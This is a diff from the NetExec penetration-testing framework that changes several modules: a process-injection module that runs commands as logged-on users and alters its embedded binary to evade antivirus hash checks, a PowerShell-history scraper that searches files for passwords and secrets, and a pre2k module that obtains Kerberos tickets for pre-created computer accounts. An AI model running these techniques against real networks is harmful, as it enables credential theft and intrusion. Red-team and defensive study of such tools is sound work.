View File
@@ -1,11 +1,7 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
name = "petitpotam"
description = "[REMOVED] Module to check if the DC is vulnerable to PetitPotam, credit to @topotam"
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""
@@ -20,4 +16,4 @@ class NXCModule:
self.pipe = module_options["PIPE"]
def on_login(self, context, connection):
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
+2 -4
View File
@@ -2,7 +2,6 @@ from base64 import b64decode
from sys import exit
from os.path import abspath, join, isfile
from datetime import datetime
from nxc.helpers.misc import CATEGORY
from nxc.paths import DATA_PATH, TMP_PATH
@@ -15,7 +14,6 @@ class NXCModule:
name = "pi"
description = "Run command as logged on users via Process Injection"
supported_protocols = ["smb"]
category = CATEGORY.PRIVILEGE_ESCALATION
def options(self, context, module_options):
r"""
@@ -30,13 +28,13 @@ class NXCModule:
self.pi = "pi.exe"
self.useembeded = True
self.pid = self.cmd = ""
with open(join(DATA_PATH, ("pi_module/pi.bs64"))) as pi_file:
self.pi_embedded = b64decode(pi_file.read())
# Add some random binary data to defeat AVs which check the file hash
self.pi_embedded += datetime.now().strftime("%Y%m%d%H%M%S").encode()
if "EXEC" in module_options:
self.cmd = module_options["EXEC"]
+2 -4
View File
@@ -1,6 +1,5 @@
from os import makedirs
from os.path import join, abspath
from nxc.helpers.misc import CATEGORY
from nxc.paths import NXC_PATH
from io import BytesIO
@@ -12,7 +11,6 @@ class NXCModule:
name = "powershell_history"
description = "Extracts PowerShell history for all users and looks for sensitive commands."
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
false_positive = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"]
sensitive_keywords = [
"password", "passw", "secret", "credential", "key",
@@ -32,7 +30,7 @@ class NXCModule:
for file in connection.conn.listPath("C$", f"{powershell_history_dir}\\*"):
if file.get_longname() not in self.false_positive:
file_path = f"{powershell_history_dir}{file.get_longname()}"
buf = BytesIO()
connection.conn.getFile("C$", file_path, buf.write)
buf.seek(0)
@@ -44,7 +42,7 @@ class NXCModule:
context.log.highlight(f"C:\\{file_path}")
for line in file_content.splitlines():
context.log.highlight(f"\t{line}")
context.log.highlight(f"\t{line}")
if self.export:
filename = f"{connection.host}_{directory.get_longname()}_powershell_history.txt"
export_path = join(NXC_PATH, "modules", "powershell_history")
+59 -49
View File
@@ -3,7 +3,7 @@ from impacket.krb5.kerberosv5 import getKerberosTGT
from impacket.krb5.ccache import CCache
from impacket.krb5.types import Principal
from impacket.krb5 import constants
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
from nxc.paths import NXC_PATH
@@ -16,69 +16,79 @@ class NXCModule:
name = "pre2k"
description = "Identify pre-created computer accounts, save the results to a file, and obtain TGTs for each"
supported_protocols = ["ldap"]
category = CATEGORY.PRIVILEGE_ESCALATION
def options(self, context, module_options):
"""No options available"""
pass
def on_login(self, context, connection):
# Define the search filter for pre-created computer accounts
search_filter = "(&(objectClass=computer)(userAccountControl=4128))"
attributes = ["sAMAccountName", "userAccountControl", "dNSHostName"]
context.log.info(f"Using search filter: {search_filter}")
context.log.info(f"Attributes to retrieve: {attributes}")
computers = []
try:
# Use paged search to retrieve all computer accounts with specific flags
search_results = connection.search(search_filter, attributes)
results = parse_result_attributes(search_results)
context.log.debug(f"Search results: {results}")
ldap_connection = connection.ldap_connection
for computer in results:
context.log.debug(f"Processing computer: {computer['sAMAccountName']}, UAC: {computer['userAccountControl']}")
# Check if the account is a pre-created computer account
if int(computer["userAccountControl"]) == 4128: # 4096 | 32
computers.append(computer["sAMAccountName"])
context.log.debug(f"Added computer: {computer['sAMAccountName']}")
# Define the search filter for pre-created computer accounts
search_filter = "(&(objectClass=computer)(userAccountControl=4128))"
attributes = ["sAMAccountName", "userAccountControl", "dNSHostName"]
# Save computers to file
domain_dir = os.path.join(f"{NXC_PATH}/modules/pre2k", connection.domain)
output_file = os.path.join(domain_dir, "precreated_computers.txt")
context.log.info(f"Using search filter: {search_filter}")
context.log.info(f"Attributes to retrieve: {attributes}")
# Create directories if they do not exist
os.makedirs(domain_dir, exist_ok=True)
computers = []
try:
# Use paged search to retrieve all computer accounts with specific flags
search_results = connection.search(search_filter, attributes)
results = parse_result_attributes(search_results)
context.log.debug(f"Search results: {results}")
for computer in results:
context.log.debug(f"Processing computer: {computer['sAMAccountName']}, UAC: {computer['userAccountControl']}")
# Check if the account is a pre-created computer account
if int(computer["userAccountControl"]) == 4128: # 4096 | 32
computers.append(computer["sAMAccountName"])
context.log.debug(f"Added computer: {computer['sAMAccountName']}")
# Save computers to file
domain_dir = os.path.join(f"{NXC_PATH}/modules/pre2k", connection.domain)
output_file = os.path.join(domain_dir, "precreated_computers.txt")
# Create directories if they do not exist
os.makedirs(domain_dir, exist_ok=True)
with open(output_file, "w") as file:
for computer in computers:
file.write(f"{computer}\n")
# Print discovered pre-created computer accounts
if computers:
for computer in computers:
context.log.highlight(f"Pre-created computer account: {computer}")
context.log.success(f"Found {len(computers)} pre-created computer accounts. Saved to {output_file}")
else:
context.log.info("No pre-created computer accounts found.")
# Obtain TGTs and save to ccache
ccache_base_dir = f"{NXC_PATH}/modules/pre2k/ccache"
os.makedirs(ccache_base_dir, exist_ok=True)
successful_tgts = 0
with open(output_file, "w") as file:
for computer in computers:
file.write(f"{computer}\n")
machine_name = computer[:-1].lower() # Remove trailing '$' and convert to lowercase
if self.get_tgt(context, machine_name, connection.domain, connection.kdcHost, ccache_base_dir):
successful_tgts += 1
# Print discovered pre-created computer accounts
if computers:
for computer in computers:
context.log.highlight(f"Pre-created computer account: {computer}")
context.log.success(f"Found {len(computers)} pre-created computer accounts. Saved to {output_file}")
else:
context.log.info("No pre-created computer accounts found.")
# Summary of TGT results
if successful_tgts > 0:
context.log.success(f"Successfully obtained TGT for {successful_tgts} pre-created computer accounts. Saved to {ccache_base_dir}")
# Obtain TGTs and save to ccache
ccache_base_dir = f"{NXC_PATH}/modules/pre2k/ccache"
os.makedirs(ccache_base_dir, exist_ok=True)
except Exception as e:
context.log.fail(f"Error occurred during search: {e}")
successful_tgts = 0
ldap_connection.close()
return True
for computer in computers:
machine_name = computer[:-1].lower() # Remove trailing '$' and convert to lowercase
if self.get_tgt(context, machine_name, connection.domain, connection.kdcHost, ccache_base_dir):
successful_tgts += 1
# Summary of TGT results
if successful_tgts > 0:
context.log.success(f"Successfully obtained TGT for {successful_tgts} pre-created computer accounts. Saved to {ccache_base_dir}")
except Exception as e:
context.log.fail(f"Error occurred during search: {e}")
context.log.fail(f"Error occurred during LDAP connection: {e}")
return False
def get_tgt(self, context, username, domain, kdcHost, ccache_base_dir):
try:
-2
View File
@@ -4,7 +4,6 @@ from impacket.dcerpc.v5 import tsts as TSTS
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from contextlib import suppress
import traceback
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -16,7 +15,6 @@ class NXCModule:
name = "presence"
description = "Traces Domain and Enterprise Admin presence in the target over SMB"
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""There are no module options."""
+1 -5
View File
@@ -1,11 +1,7 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
name = "printerbug"
description = "[REMOVED] Module to check if the Target is vulnerable to PrinterBug. Set LISTENER IP for coercion."
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
self.context = context
@@ -19,4 +15,4 @@ class NXCModule:
self.listener = module_options["LISTENER"]
def on_login(self, context, connection):
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
Loaded 100 of 190 files, more files were not shown because too many files have changed in this diff. Show more